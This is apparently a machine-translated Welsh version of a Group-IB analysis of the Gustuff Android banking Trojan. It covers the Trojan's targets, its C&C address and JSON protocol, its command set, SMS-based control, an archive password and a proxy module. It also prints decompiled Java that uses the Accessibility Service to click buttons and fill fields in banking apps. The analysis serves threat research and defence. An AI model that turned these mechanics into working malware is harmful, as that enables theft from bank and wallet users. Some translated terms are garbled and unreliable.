Dim ond y diwrnod o'r blaen Grŵp-IB
Arbenigwr dadansoddi cod maleisus yn Group-IB Ivan Pisarev yn ei ymchwil, mae'n sôn yn fanwl am sut mae Gustuff yn gweithio a beth yw ei beryglon.
Ar gyfer pwy mae Gustuff yn hela?
Mae Gustuff yn perthyn i genhedlaeth newydd o ddrwgwedd gyda swyddogaethau cwbl awtomataidd. Yn ôl y datblygwr, mae'r Trojan wedi dod yn fersiwn newydd a gwell o'r malware AndyBot, sydd ers mis Tachwedd 2017 wedi bod yn ymosod ar ffonau Android ac yn dwyn arian trwy ffurflenni gwe gwe-rwydo gan ffugio fel cymwysiadau symudol o fanciau rhyngwladol adnabyddus a systemau talu. Dywedodd Bestoffer mai pris rhentu Gustuff Bot oedd $800 y mis.
Dangosodd dadansoddiad o sampl Gustuff fod y Trojan o bosibl yn targedu cwsmeriaid sy'n defnyddio cymwysiadau symudol y banciau mwyaf, megis Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, yn ogystal â waledi crypto Waled Bitcoin, BitPay, Cryptopay, Coinbase, ac ati.
Wedi'i greu yn wreiddiol fel pren Troea bancio clasurol, yn y fersiwn gyfredol mae Gustuff wedi ehangu'n sylweddol y rhestr o dargedau posibl ar gyfer ymosodiad. Yn ogystal â chymwysiadau Android ar gyfer banciau, cwmnïau fintech a gwasanaethau crypto, mae Gustuff wedi'i anelu at ddefnyddwyr cymwysiadau marchnad, siopau ar-lein, systemau talu a negeswyr gwib. Yn benodol, PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut ac eraill.
Man mynediad: cyfrifiad ar gyfer haint torfol
Nodweddir Gustuff gan y fector “clasurol” o dreiddiad i ffonau smart Android trwy bostiadau SMS gyda dolenni i APKs. Pan fydd dyfais Android wedi'i heintio â Trojan ar orchymyn y gweinydd, gall Gustuff ledaenu ymhellach trwy gronfa ddata cyswllt y ffôn heintiedig neu drwy gronfa ddata'r gweinydd. Mae ymarferoldeb Gustuff wedi'i gynllunio ar gyfer heintiad torfol a chyfalafu mwyaf posibl busnes ei weithredwyr - mae ganddo swyddogaeth “awtolenwi” unigryw i gymwysiadau bancio symudol cyfreithlon a waledi cripto, sy'n eich galluogi i gyflymu a graddio dwyn arian.
Dangosodd astudiaeth o'r Trojan bod y swyddogaeth awtolenwi yn cael ei gweithredu ynddo gan ddefnyddio'r Gwasanaeth Hygyrchedd, gwasanaeth i bobl ag anableddau. Nid Gustuff yw'r pren Troea cyntaf i osgoi'r amddiffyniad rhag rhyngweithio ag elfennau ffenestr cymwysiadau eraill sy'n defnyddio'r gwasanaeth Android hwn yn llwyddiannus. Fodd bynnag, mae'r defnydd o'r Gwasanaeth Hygyrchedd ar y cyd â llenwi ceir yn eithaf prin o hyd.
Ar ôl llwytho i lawr i ffôn y dioddefwr, Gusstuff, gan ddefnyddio'r Gwasanaeth Hygyrchedd, yn gallu rhyngweithio ag elfennau ffenestr o geisiadau eraill (bancio, cryptocurrency, yn ogystal â cheisiadau ar gyfer siopa ar-lein, negeseuon, ac ati), gan gyflawni'r camau gweithredu angenrheidiol ar gyfer yr ymosodwyr . Er enghraifft, ar orchymyn y gweinydd, gall Trojan wasgu botymau a newid gwerthoedd meysydd testun mewn cymwysiadau bancio. Mae defnyddio mecanwaith y Gwasanaeth Hygyrchedd yn caniatáu i'r Trojan osgoi'r mecanweithiau diogelwch a ddefnyddir gan fanciau i wrthsefyll Trojans symudol y genhedlaeth flaenorol, yn ogystal â newidiadau mewn polisi diogelwch a weithredwyd gan Google mewn fersiynau newydd o'r OS Android. Felly, mae Gustuff “yn gwybod sut” i analluogi amddiffyniad Google Protect: yn ôl yr awdur, mae'r swyddogaeth hon yn gweithio mewn 70% o achosion.
Gall Gustuff hefyd arddangos hysbysiadau PUSH ffug gydag eiconau cymwysiadau symudol cyfreithlon. Mae'r defnyddiwr yn clicio ar yr hysbysiad PUSH ac yn gweld ffenestr gwe-rwydo wedi'i lawrlwytho o'r gweinydd, lle mae'n nodi'r data cerdyn banc neu waled crypto y gofynnwyd amdano. Mewn senario arall Gusstuff, agorir y cais y dangoswyd yr hysbysiad PUSH ar ei ran. Yn yr achos hwn, gall y malware, ar orchymyn gan y gweinydd trwy'r Gwasanaeth Hygyrchedd, lenwi meysydd ffurflen cais bancio ar gyfer trafodiad twyllodrus.
Mae swyddogaeth Gustuff hefyd yn cynnwys anfon gwybodaeth am ddyfais heintiedig i'r gweinydd, y gallu i ddarllen/anfon negeseuon SMS, anfon ceisiadau USSD, lansio SOCKS5 Proxy, dilyn dolen, anfon ffeiliau (gan gynnwys sganiau lluniau o ddogfennau, sgrinluniau, ffotograffau) i'r gweinydd , ailosod y ddyfais i osodiadau ffatri.
Dadansoddi drwgwedd
Cyn gosod cymhwysiad maleisus, mae'r AO Android yn dangos ffenestr i'r defnyddiwr sy'n cynnwys rhestr o hawliau y gofynnodd Gustuff amdanynt:
Bydd y cais yn cael ei osod dim ond ar ôl derbyn caniatâd y defnyddiwr. Ar ôl lansio'r cais, bydd y Trojan yn dangos ffenestr i'r defnyddiwr:
Ar ôl hynny bydd yn cael gwared ar ei eicon.
Mae Gustuff yn cael ei bacio, yn ôl yr awdur, gan becyn o FTT. Ar ôl cychwyn, mae'r rhaglen yn cysylltu â gweinydd CNC o bryd i'w gilydd i dderbyn gorchmynion. Roedd sawl ffeil a archwiliwyd gennym yn defnyddio cyfeiriad IP fel y gweinydd rheoli 88.99.171[.]105 (o hyn allan byddwn yn ei ddynodi fel <%CnC%>).
Ar ôl ei lansio, mae'r rhaglen yn dechrau anfon negeseuon i'r gweinydd http://<%CnC%>/api/v1/get.php.
Disgwylir mai JSON fydd yr ymateb yn y fformat a ganlyn:
{
"results" : "OK",
"command":{
"id": "<%id%>",
"command":"<%command%>",
"timestamp":"<%Server Timestamp%>",
"params":{
<%Command parameters as JSON%>
},
},
}
Bob tro y bydd y cais yn cael ei gyrchu, mae'n anfon gwybodaeth am y ddyfais heintiedig. Dangosir fformat y neges isod. Mae'n werth nodi bod y meysydd Llawn, ychwanegol, apps и caniatâd - dewisol a bydd yn cael ei anfon dim ond rhag ofn y bydd gorchymyn cais gan CNC.
{
"info":
{
"info":
{
"cell":<%Sim operator name%>,
"country":<%Country ISO%>,
"imei":<%IMEI%>,
"number":<%Phone number%>,
"line1Number":<%Phone number%>,
"advertisementId":<%ID%>
},
"state":
{
"admin":<%Has admin rights%>,
"source":<%String%>,
"needPermissions":<%Application needs permissions%>,
"accesByName":<%Boolean%>,
"accesByService":<%Boolean%>,
"safetyNet":<%String%>,
"defaultSmsApp":<%Default Sms Application%>,
"isDefaultSmsApp":<%Current application is Default Sms Application%>,
"dateTime":<%Current date time%>,
"batteryLevel":<%Battery level%>
},
"socks":
{
"id":<%Proxy module ID%>,
"enabled":<%Is enabled%>,
"active":<%Is active%>
},
"version":
{
"versionName":<%Package Version Name%>,
"versionCode":<%Package Version Code%>,
"lastUpdateTime":<%Package Last Update Time%>,
"tag":<%Tag, default value: "TAG"%>,
"targetSdkVersion":<%Target Sdk Version%>,
"buildConfigTimestamp":1541309066721
},
},
"full":
{
"model":<%Device Model%>,
"localeCountry":<%Country%>,
"localeLang":<%Locale language%>,
"accounts":<%JSON array, contains from "name" and "type" of accounts%>,
"lockType":<%Type of lockscreen password%>
},
"extra":
{
"serial":<%Build serial number%>,
"board":<%Build Board%>,
"brand":<%Build Brand%>,
"user":<%Build User%>,
"device":<%Build Device%>,
"display":<%Build Display%>,
"id":<%Build ID%>,
"manufacturer":<%Build manufacturer%>,
"model":<%Build model%>,
"product":<%Build product%>,
"tags":<%Build tags%>,
"type":<%Build type%>,
"imei":<%imei%>,
"imsi":<%imsi%>,
"line1number":<%phonenumber%>,
"iccid":<%Sim serial number%>,
"mcc":<%Mobile country code of operator%>,
"mnc":<%Mobile network codeof operator%>,
"cellid":<%GSM-data%>,
"lac":<%GSM-data%>,
"androidid":<%Android Id%>,
"ssid":<%Wi-Fi SSID%>
},
"apps":{<%List of installed applications%>},
"permission":<%List of granted permissions%>
}
Storio data ffurfweddu
Mae Gustuff yn storio gwybodaeth weithredol bwysig mewn ffeil dewis. Mae enw'r ffeil, yn ogystal ag enwau'r paramedrau ynddi, yn ganlyniad cyfrifo'r swm MD5 o'r llinyn 15413090667214.6.1 <%name%>lle <%name%> — gwerth enw cychwynnol. Dehongliad Python o'r swyddogaeth cynhyrchu enwau:
nameGenerator(input):
output = md5("15413090667214.6.1" + input)
Yn yr hyn sy'n dilyn byddwn yn ei ddynodi fel enw Generadur (mewnbwn).
Felly enw'r ffeil gyntaf yw: nameGenerator("API_SERVER_LIST"), mae'n cynnwys gwerthoedd gyda'r enwau canlynol:
Enw amrywiol | Gwerth |
---|---|
nameGenerator("API_SERVER_LIST") | Mae'n cynnwys rhestr o gyfeiriadau CNC ar ffurf arae. |
nameGenerator("API_SERVER_URL") | Yn cynnwys cyfeiriad CNC. |
nameGenerator("SMS_UPLOAD") | Gosodir y faner yn ddiofyn. Os yw'r faner wedi'i gosod, yn anfon negeseuon SMS i CNC. |
nameGenerator("SMS_ROOT_NUMBER") | Rhif ffôn yr anfonir negeseuon SMS a dderbynnir gan y ddyfais heintiedig ato. Mae'r rhagosodiad yn null. |
nameGenerator("SMS_ROOT_NUMBER_RESEND") | Mae'r faner yn cael ei chlirio yn ddiofyn. Os caiff ei osod, pan fydd dyfais heintiedig yn derbyn SMS, bydd yn cael ei anfon at y rhif gwraidd. |
nameGenerator("DEFAULT_APP_SMS") | Mae'r faner yn cael ei chlirio yn ddiofyn. Os gosodir y faner hon, bydd y rhaglen yn prosesu negeseuon SMS sy'n dod i mewn. |
nameGenerator("DEFAULT_ADMIN") | Mae'r faner yn cael ei chlirio yn ddiofyn. Os gosodir y faner, mae gan y rhaglen hawliau gweinyddwr. |
nameGenerator ("DEFAULT_ACCESSIBILITY") | Mae'r faner yn cael ei chlirio yn ddiofyn. Os gosodir y faner, mae gwasanaeth sy'n defnyddio'r Gwasanaeth Hygyrchedd yn rhedeg. |
nameGenerator("APPS_CONFIG") | Gwrthrych JSON sy'n cynnwys rhestr o gamau gweithredu y mae'n rhaid eu cyflawni pan fydd digwyddiad Hygyrchedd sy'n gysylltiedig â chymhwysiad penodol yn cael ei sbarduno. |
nameGenerator("APPS_INSTALLED") | Yn storio rhestr o gymwysiadau sydd wedi'u gosod ar y ddyfais. |
nameGenerator("IS_FIST_RUN") | Mae'r faner yn cael ei ailosod ar y cychwyn cyntaf. |
nameGenerator("UNIQUE_ID") | Yn cynnwys dynodwr unigryw. Wedi'i gynhyrchu pan fydd y bot yn cael ei lansio am y tro cyntaf. |
Modiwl ar gyfer prosesu gorchmynion o'r gweinydd
Mae'r rhaglen yn storio cyfeiriadau gweinyddwyr CNC ar ffurf arae wedi'i hamgodio gan Basexnumx llinellau. Gellir newid y rhestr o weinyddion CNC ar ôl derbyn y gorchymyn priodol, ac os felly bydd y cyfeiriadau yn cael eu storio mewn ffeil dewis.
Mewn ymateb i'r cais, mae'r gweinydd yn anfon gorchymyn i'r cais. Mae'n werth nodi bod gorchmynion a pharamedrau'n cael eu cyflwyno mewn fformat JSON. Gall y cais brosesu'r gorchmynion canlynol:
Tîm | Disgrifiad |
---|---|
ymlaenCychwyn | Dechreuwch anfon negeseuon SMS a dderbyniwyd gan y ddyfais heintiedig i'r gweinydd CNC. |
ymlaenStop | Rhoi'r gorau i anfon negeseuon SMS a dderbynnir gan y ddyfais heintiedig i'r gweinydd CNC. |
ussdRun | Gweithredu cais USSD. Mae'r rhif y mae angen i chi wneud cais USSD iddo wedi'i leoli ym maes “rhif” JSON. |
anfonSms | Anfonwch un neges SMS (os oes angen, caiff y neges ei “rhannu” yn rhannau). Fel paramedr, mae'r gorchymyn yn cymryd gwrthrych JSON sy'n cynnwys y meysydd “to” - y rhif cyrchfan a “corff” - corff y neges. |
anfonSmsAb | Anfonwch negeseuon SMS (os oes angen, mae'r neges wedi'i “rhannu” yn rhannau) i bawb yn rhestr gyswllt y ddyfais heintiedig. Yr egwyl rhwng anfon negeseuon yw 10 eiliad. Mae corff y neges yn y maes JSON "corff" |
anfonSmsMass | Anfonwch negeseuon SMS (os oes angen, mae'r neges wedi'i "rhannu" yn rhannau) i'r cysylltiadau a nodir yn y paramedrau gorchymyn. Yr egwyl rhwng anfon negeseuon yw 10 eiliad. Fel paramedr, mae'r gorchymyn yn cymryd arae JSON (y maes “sms”), y mae ei elfennau'n cynnwys y meysydd “i” - rhif cyrchfan a “corff” - corff y neges. |
newid Gweinydd | Gall y gorchymyn hwn gymryd gwerth gyda'r allwedd “url” fel paramedr - yna bydd y bot yn newid gwerth nameGenerator (“SERVER_URL”), neu “array” - yna bydd y bot yn ysgrifennu'r arae i nameGenerator (“API_SERVER_LIST”) Felly, mae'r rhaglen yn newid cyfeiriad gweinyddwyr CNC. |
rhif gweinyddol | Mae'r gorchymyn wedi'i gynllunio i weithio gyda rhif gwraidd. Mae'r gorchymyn yn derbyn gwrthrych JSON gyda'r paramedrau canlynol: "rhif" - newid nameGenerator ("ROOT_NUMBER") i'r gwerth a dderbyniwyd, "ail-anfon" - newid enwGenerator ("SMS_ROOT_NUMBER_RESEND"), "sendId" - anfon at nameGenerator("ROOT_NUMBER" ) unigryw ID. |
diweddaruGwybodaeth | Anfonwch wybodaeth am y ddyfais heintiedig i'r gweinydd. |
sychuData | Bwriad y gorchymyn yw dileu data defnyddwyr. Yn dibynnu ar ba enw y lansiwyd y cais, naill ai mae'r data'n cael ei ddileu'n llwyr gydag ailgychwyn dyfais (defnyddiwr sylfaenol), neu dim ond data defnyddiwr sy'n cael ei ddileu (defnyddiwr eilaidd). |
socksStart | Lansio'r modiwl dirprwy. Disgrifir gweithrediad y modiwl mewn adran ar wahân. |
socksStop | Stopiwch y modiwl dirprwy. |
openDolen | Dilynwch y ddolen. Mae'r ddolen wedi'i lleoli ym mharamedr JSON o dan yr allwedd “url”. Defnyddir “android.intent.action.VIEW” i agor y ddolen. |
uwchlwythoAllSms | Anfonwch yr holl negeseuon SMS a dderbynnir gan y ddyfais i'r gweinydd. |
uwchlwythoAllPhotos | Anfon delweddau o ddyfais heintiedig i URL. Daw'r URL fel paramedr. |
uwchlwytho Ffeil | Anfon ffeil i URL o ddyfais heintiedig. Daw'r URL fel paramedr. |
uwchlwytho Rhifau Ffôn | Anfonwch rifau ffôn o'ch rhestr gyswllt i'r gweinydd. Os derbynnir gwerth gwrthrych JSON gyda'r allwedd “ab” fel paramedr, mae'r cais yn derbyn rhestr o gysylltiadau o'r llyfr ffôn. Os derbynnir gwrthrych JSON gyda'r allwedd “sms” fel paramedr, mae'r cymhwysiad yn darllen y rhestr o gysylltiadau gan anfonwyr negeseuon SMS. |
newidArchif | Mae'r cymhwysiad yn lawrlwytho'r ffeil o'r cyfeiriad a ddaw fel paramedr gan ddefnyddio'r allwedd “url”. Mae'r ffeil wedi'i lawrlwytho yn cael ei gadw gyda'r enw "archive.zip". Yna bydd y rhaglen yn dadsipio'r ffeil, yn ddewisol gan ddefnyddio'r cyfrinair archif “b5jXh37gxgHBrZhQ4j3D”. Mae'r ffeiliau sydd wedi'u dadsipio yn cael eu cadw yn y cyfeiriadur [storio allanol]/hgps. Yn y cyfeiriadur hwn, mae'r rhaglen yn storio nwyddau ffug gwe (a ddisgrifir isod). |
camau gweithredu | Mae'r gorchymyn wedi'i gynllunio i weithio gyda Action Service, a ddisgrifir mewn adran ar wahân. |
prawf | Gwneud dim. |
download | Bwriad y gorchymyn yw lawrlwytho ffeil o weinydd pell a'i gadw i'r cyfeiriadur “Lawrlwythiadau”. Daw'r URL ac enw'r ffeil fel paramedr, meysydd yn y gwrthrych paramedr JSON, yn y drefn honno: “url” a “fileName”. |
gwared ar | Yn tynnu ffeil o'r cyfeiriadur "Lawrlwythiadau". Daw enw'r ffeil mewn paramedr JSON gyda'r allwedd “fileName”. Yr enw ffeil safonol yw “tmp.apk”. |
hysbysiad | Dangos hysbysiad gyda thestunau disgrifiad a theitl wedi'u diffinio gan y gweinydd rheoli. |
Fformat Gorchymyn hysbysiad:
{
"results" : "OK",
"command":{
"id": <%id%>,
"command":"notification",
"timestamp":<%Server Timestamp%>,
"params":{
"openApp":<%Open original app or not%>,
"array":[
{"title":<%Title text%>,
"desc":<%Description text%>,
"app":<%Application name%>}
]
},
},
}
Mae'r hysbysiad a gynhyrchir gan y ffeil sy'n cael ei hymchwilio yn edrych yn union yr un fath â'r hysbysiadau a gynhyrchir gan y rhaglen a nodir yn y maes app. Os yw gwerth y maes ap agored - Yn wir, pan agorir hysbysiad, mae'r cais a nodir yn y maes yn cael ei lansio app. Os yw gwerth y maes ap agored - Gau, felly:
- Mae ffenestr gwe-rwydo yn agor, a chaiff ei chynnwys ei lawrlwytho o'r cyfeiriadur <% storfa allanol%>/hgps/<%filename%>
- Mae ffenestr gwe-rwydo yn agor, a chaiff ei chynnwys ei lawrlwytho o'r gweinydd <%url%>?id=<%Bot id%>&app=<%Enw'r cais%>
- Mae ffenestr gwe-rwydo yn agor, wedi'i chuddio fel Cerdyn Chwarae Google, gyda chyfle i nodi manylion cerdyn.
Mae'r cais yn anfon canlyniad unrhyw orchymyn i <%CnC%>set_state.php fel gwrthrych JSON yn y fformat canlynol:
{
"command":
{
"command":<%command%>,
"id":<%command_id%>,
"state":<%command_state%>
}
"id":<%bot_id%>
}
Gwasanaeth Gweithredoedd
Y rhestr o orchmynion y mae'r prosesau cais yn eu cynnwys gweithredu. Pan dderbynnir gorchymyn, mae'r modiwl prosesu gorchymyn yn cyrchu'r gwasanaeth hwn i weithredu'r gorchymyn estynedig. Mae'r gwasanaeth yn derbyn gwrthrych JSON fel paramedr. Gall y gwasanaeth weithredu'r gorchmynion canlynol:
1. PARAMS_ACTION - wrth dderbyn gorchymyn o'r fath, mae'r gwasanaeth yn gyntaf yn derbyn gwerth yr allwedd Math o baramedr JSON, a all fod fel a ganlyn:
- gwybodaeth gwasanaeth – mae'r is-orchymyn yn cael y gwerth fesul allwedd o'r paramedr JSON cynnwys Ddim yn Bwysig. Os yw'r faner yn Wir, mae'r cais yn gosod y faner FLAG_ISOLATED_PROCESS i wasanaeth sy'n defnyddio'r Gwasanaeth Hygyrchedd. Fel hyn bydd y gwasanaeth yn cael ei lansio mewn proses ar wahân.
- gwraidd — derbyn ac anfon at y gweinydd wybodaeth am y ffenestr sy'n canolbwyntio ar hyn o bryd. Mae'r cais yn cael gwybodaeth gan ddefnyddio'r dosbarth AccessibilityNodeInfo.
- admin — gofyn am hawliau gweinyddwr.
- oedi — atal y Gwasanaeth Gweithredu am nifer y milieiliadau a nodir yn y paramedr ar gyfer yr allwedd “data”.
- ffenestri — anfon rhestr o ffenestri sy'n weladwy i'r defnyddiwr.
- gosod - gosod y cais ar y ddyfais heintiedig. Mae enw'r pecyn archif yn yr allwedd “fileName”. Mae'r archif ei hun wedi'i leoli yn y cyfeiriadur Lawrlwythiadau.
- byd-eang – bwriad yr is-orchymyn yw llywio o'r ffenestr gyfredol:
- ar y ddewislen Gosodiadau Cyflym
- yn ôl
- cartref
- i hysbysiadau
- i'r ffenestr ceisiadau a agorwyd yn ddiweddar
- lansio - lansio'r cais. Daw enw'r cais fel paramedr wrth allwedd data.
- synau — newidiwch y modd sain i dawelwch.
- datgloi — yn troi golau cefn y sgrin a'r bysellfwrdd ymlaen i ddisgleirdeb llawn. Mae'r cymhwysiad yn cyflawni'r weithred hon gan ddefnyddio WakeLock, gan nodi'r llinyn [Llyfr y cais]: INFO fel tag
- caniatâd Troshaen — nid yw'r swyddogaeth wedi'i gweithredu (yr ymateb i weithredu gorchymyn yw {"message": "Ddim yn cefnogi"} neu {"message": "sdk isel")
- ystum — nid yw'r swyddogaeth wedi'i gweithredu (yr ymateb i weithredu gorchymyn yw {"message": "Ddim yn cefnogi"} neu {"message": "API Isel")
- caniatadau - mae'r gorchymyn hwn yn angenrheidiol i ofyn am ganiatâd ar gyfer y cais. Fodd bynnag, nid yw'r swyddogaeth ymholiad yn cael ei weithredu, felly mae'r gorchymyn yn ddiystyr. Daw'r rhestr o hawliau y gofynnwyd amdanynt fel arae JSON gyda'r allwedd “caniatâd”. Rhestr safonol:
- android.permission.READ_PHONE_STATE
- android.permission.READ_CONTACTS
- android.permission.CALL_PHONE
- android.permission.RECEIVE_SMS
- android.permission.SEND_SMS
- android.permission.READ_SMS
- android.permission.READ_EXTERNAL_STORAGE
- android.permission.WRITE_EXTERNAL_STORAGE
- agor — dangos ffenestr gwe-rwydo. Yn dibynnu ar y paramedr sy'n dod o'r gweinydd, gall y rhaglen arddangos y ffenestri gwe-rwydo canlynol:
- Dangos ffenestr gwe-rwydo y mae ei chynnwys wedi'i ysgrifennu mewn ffeil mewn cyfeiriadur <% cyfeiriadur allanol%>/hgps/<%param_filename%>. Bydd canlyniad rhyngweithio defnyddiwr gyda'r ffenestr yn cael ei anfon at <%CnC%>/records.php
- Dangoswch ffenestr gwe-rwydo y mae ei chynnwys wedi'i rhaglwytho o'r cyfeiriad <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Bydd canlyniad rhyngweithio defnyddiwr gyda'r ffenestr yn cael ei anfon at <%CnC%>/records.php
- Dangos ffenestr gwe-rwydo sydd wedi'i chuddio fel Cerdyn Chwarae Google.
- rhyngweithiol - mae'r gorchymyn wedi'i gynllunio i ryngweithio ag elfennau ffenestr cymwysiadau eraill gan ddefnyddio AcessibilityService. Mae gwasanaeth arbennig wedi'i roi ar waith yn y rhaglen ryngweithio. Gall y cais sy'n cael ei ymchwilio ryngweithio â ffenestri:
- Yn weithredol ar hyn o bryd. Yn yr achos hwn, mae'r paramedr yn cynnwys id neu destun (enw) y gwrthrych y mae angen i chi ryngweithio ag ef.
- Yn weladwy i'r defnyddiwr ar yr adeg y gweithredir y gorchymyn. Mae'r cymhwysiad yn dewis ffenestri trwy id.
Wedi derbyn gwrthrychau HygyrcheddNodeInfo Ar gyfer elfennau ffenestr o ddiddordeb, gall y cais, yn dibynnu ar y paramedrau, gyflawni'r camau gweithredu canlynol:
- ffocws — gosod ffocws i'r gwrthrych.
- cliciwch - cliciwch ar wrthrych.
- actionId — cyflawni gweithred drwy ID.
- setText — newid testun gwrthrych. Mae'n bosibl newid y testun mewn dwy ffordd: cyflawni gweithred ACTION_SET_TEXT (os yw'r fersiwn Android o'r ddyfais heintiedig yn iau na neu'n hafal i LOLLIPOP), neu drwy osod llinyn ar y clipfwrdd a'i gludo i mewn i wrthrych (ar gyfer fersiynau hŷn). Gellir defnyddio'r gorchymyn hwn i newid data mewn cymhwysiad bancio.
2. PARAMS_ACTIONS - yr un peth a PARAMS_ACTION, dim ond cyfres JSON o orchmynion sy'n cyrraedd.
Mae'n ymddangos y bydd gan lawer o bobl ddiddordeb yn sut olwg sydd ar swyddogaeth rhyngweithio ag elfennau ffenestr rhaglen arall. Dyma sut mae'r swyddogaeth hon yn cael ei gweithredu yn Gustuff:
boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
int count = action.optInt("repeat", 1);
Iterator aiListIterator = ((Iterable)aiList).iterator();
int count = 0;
while(aiListIterator.hasNext()) {
Object ani = aiListIterator.next();
if(1 <= count) {
int index;
for(index = 1; true; ++index) {
if(action.has("focus")) {
if(((AccessibilityNodeInfo)ani).performAction(1)) {
++count;
}
}
else if(action.has("click")) {
if(((AccessibilityNodeInfo)ani).performAction(16)) {
++count;
}
}
else if(action.has("actionId")) {
if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
++count;
}
}
else if(action.has("setText")) {
customHeader ch = CustomAccessibilityService.a;
Context context = this.getApplicationContext();
String text = action.optString("setText");
if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
++count;
}
}
if(index == count) {
break;
}
}
}
((AccessibilityNodeInfo)ani).recycle();
}
res.addPropertyNumber("res", Integer.valueOf(count));
}
Swyddogaeth amnewid testun:
boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
boolean result;
if(Build$VERSION.SDK_INT >= 21) {
Bundle b = new Bundle();
b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
result = ani.performAction(0x200000, b); // ACTION_SET_TEXT
}
else {
Object clipboard = context.getSystemService("clipboard");
if(clipboard != null) {
((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
result = ani.performAction(0x8000); // ACTION_PASTE
}
else {
result = false;
}
}
return result;
}
Felly, gyda chyfluniad cywir y gweinydd rheoli, mae Gustuff yn gallu llenwi meysydd testun yn y cais bancio a chlicio ar y botymau angenrheidiol i gwblhau'r trafodiad. Nid oes angen i'r pren Troea fewngofnodi i'r cais hyd yn oed - mae'n ddigon anfon gorchymyn i arddangos hysbysiad GWTHIO ac yna agor y rhaglen bancio a osodwyd yn flaenorol. Bydd y defnyddiwr yn dilysu ei hun, ac ar ôl hynny bydd Gustuff yn gallu llenwi'r car.
Modiwl prosesu negeseuon SMS
Mae'r cymhwysiad yn gosod trefnydd digwyddiad ar gyfer y ddyfais heintiedig i dderbyn negeseuon SMS. Gall y cais sy'n cael ei astudio dderbyn gorchmynion gan y gweithredwr, sy'n dod yng nghorff y neges SMS. Daw gorchmynion yn y fformat:
7!5=<%Base64 gorchymyn wedi'i amgodio%>
Mae'r cais yn chwilio am y llinyn ym mhob neges SMS sy'n dod i mewn 7!5=, pan ganfyddir llinyn, mae'n dadgodio'r llinyn o Base64 ar wrthbwyso 4 ac yn gweithredu'r gorchymyn. Mae'r gorchmynion yn debyg i'r rhai gyda CNC. Anfonir y canlyniad gweithredu i'r un rhif y daeth y gorchymyn ohono. Fformat ymateb:
7*5=<%Base64 amgodio o “result_code command”%>
Yn ddewisol, gall y cais anfon yr holl negeseuon a dderbyniwyd i'r rhif Root. I wneud hyn, rhaid nodi'r rhif Root yn y ffeil dewis a rhaid gosod baner ailgyfeirio'r neges. Anfonir neges SMS at rif yr ymosodwr yn y fformat:
<% O'r rhif%> - <%Time, fformat: dd/MM/bbbb HH:mm:ss%> <%SMS body%>
Hefyd, yn ddewisol, gall y rhaglen anfon negeseuon i CNC. Anfonir y neges SMS i'r gweinydd mewn fformat JSON:
{
"id":<%BotID%>,
"sms":
{
"text":<%SMS body%>,
"number":<%From number%>,
"date":<%Timestamp%>
}
}
Os gosodir y faner nameGenerator("DEFAULT_APP_SMS") - mae'r cymhwysiad yn stopio prosesu'r neges SMS ac yn clirio'r rhestr o negeseuon sy'n dod i mewn.
Modiwl dirprwy
Mae'r cais sy'n cael ei astudio yn cynnwys modiwl Backconnect Proxy (y cyfeirir ato o hyn ymlaen fel y modiwl Proxy), sydd â dosbarth ar wahân sy'n cynnwys meysydd sefydlog gyda chyfluniad. Mae data cyfluniad yn cael ei storio yn y sampl ar ffurf glir:
Mae'r holl gamau gweithredu a gyflawnir gan y modiwl Dirprwy yn cael eu mewngofnodi i ffeiliau. I wneud hyn, mae'r cymhwysiad yn Storio Allanol yn creu cyfeiriadur o'r enw “logs” (maes ProxyConfigClass.logsDir yn y dosbarth ffurfweddu), lle mae ffeiliau log yn cael eu storio. Mae logio yn digwydd mewn ffeiliau gydag enwau:
- prif.txt – mae gwaith y dosbarth o'r enw CommandServer wedi'i fewngofnodi i'r ffeil hon. Yn yr hyn sy'n dilyn, bydd mewngofnodi'r llinyn llinyn i'r ffeil hon yn cael ei ddynodi fel mainLog(str).
- sesiwn-<%id%>.txt — mae'r ffeil hon yn arbed data log sy'n gysylltiedig â sesiwn ddirprwy benodol. Yn yr hyn sy'n dilyn, bydd logio'r llinyn str i'r ffeil hon yn cael ei ddynodi fel sessionLog (str).
- gweinydd.txt – defnyddir y ffeil hon i logio'r holl ddata a ysgrifennwyd i'r ffeiliau a ddisgrifir uchod.
Fformat data log:
<%Date%> [Edefyn[<%thread id%>], id[]]: llinyn log
Mae eithriadau sy'n digwydd yn ystod gweithrediad y modiwl Proxy hefyd yn cael eu mewngofnodi i ffeil. I wneud hyn, mae'r rhaglen yn cynhyrchu gwrthrych JSON yn y fformat canlynol:
{
"uncaughtException":<%short description of throwable%>
"thread":<%thread%>
"message":<%detail message of throwable%>
"trace": //Stack trace info
[
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
},
{
"ClassName":
"FileName":
"LineNumber":
"MethodName":
}
]
}
Yna mae'n ei drosi i gynrychioliad llinynnol a'i logio.
Mae'r modiwl Proxy yn cael ei lansio ar ôl derbyn y gorchymyn cyfatebol. Pan dderbynnir gorchymyn i lansio'r modiwl Dirprwy, mae'r cais yn cychwyn gwasanaeth o'r enw Prif Wasanaeth, sy'n gyfrifol am reoli gweithrediad y modiwl Proxy - ei gychwyn a'i atal.
Camau cychwyn y gwasanaeth:
1. Yn cychwyn amserydd sy'n rhedeg unwaith y funud ac yn gwirio gweithgaredd y modiwl Dirprwy. Os nad yw'r modiwl yn weithredol, mae'n ei gychwyn.
Hefyd pan fydd y digwyddiad yn cael ei sbarduno android.net.conn.CONNECTIVITY_CHANGE Mae'r modiwl dirprwy yn cael ei lansio.
2. Mae'r cais yn creu clo deffro gyda'r paramedr PARTIAL_WAKE_LOCK ac yn ei ddal. Mae hyn yn atal CPU y ddyfais rhag mynd i'r modd cysgu.
3. Yn lansio dosbarth prosesu gorchymyn y modiwl Proxy, gan logio'r llinell yn gyntaf mainLog ("gweinydd cychwyn") и
Gweinydd:: cychwyn() gwesteiwr[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]
lle dirprwy_cnc, command_port a proxy_port - paramedrau a gafwyd o gyfluniad y gweinydd dirprwy.
